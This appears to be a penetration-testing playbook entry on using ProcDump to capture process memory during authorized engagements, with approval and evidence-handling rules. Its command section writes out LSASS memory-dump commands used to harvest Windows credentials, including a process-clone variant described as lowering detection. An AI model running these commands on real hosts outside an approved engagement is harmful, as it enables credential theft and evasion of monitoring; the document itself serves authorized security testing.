Procdump

ProcDump

Purpose

Use this skill only when the rules of engagement explicitly permit process memory capture on a named approved host.

Phase Fit

• Primary: Validation and Controlled Impact Demonstration
• Secondary: Vulnerability Analysis, Retest and Closure

Use When

• Need to prove whether a specific process boundary exposes sensitive material.
• Need controlled process capture for an approved debugging or credential-risk objective.
• Need a repeatable retest after host hardening.

Avoid When

• Memory capture is not explicitly approved.
• Host or process scope is unclear.

Inputs

• Approved host and target process
• Explicit approval for memory capture
• Evidence handling and storage rules

Procedure

1. Confirm written approval for the exact process and host scope.
2. Capture only the minimum process dump required to answer the question.
3. Stop as soon as the approved proof standard is met.
4. Protect dumps as highly sensitive evidence.
5. Preserve the exact process and host context for retest.

Command Syntax

Replace sample PIDs with the approved target process.

:: Full memory dump of LSASS (requires SeDebugPrivilege)
procdump.exe -ma lsass.exe C:\temp\lsass.dmp

:: Dump by PID
procdump.exe -ma <PID> C:\temp\process.dmp

:: Mini dump (smaller, for crash analysis)
procdump.exe -mm <PID> C:\temp\process-mini.dmp

:: Clone the process before dumping (lower detection surface)
procdump.exe -r -ma lsass.exe C:\temp\lsass-clone.dmp

:: Dump on first-chance exception
procdump.exe -e 1 -ma lsass.exe C:\temp\lsass-exc.dmp

Evidence to Capture

• Whether the approved process exposed material data
• Exact host, process, and dump mode used
• Minimal proof needed to support remediation

Safety Boundaries

• Use only with explicit written approval.
• Treat all dumps as highly sensitive evidence.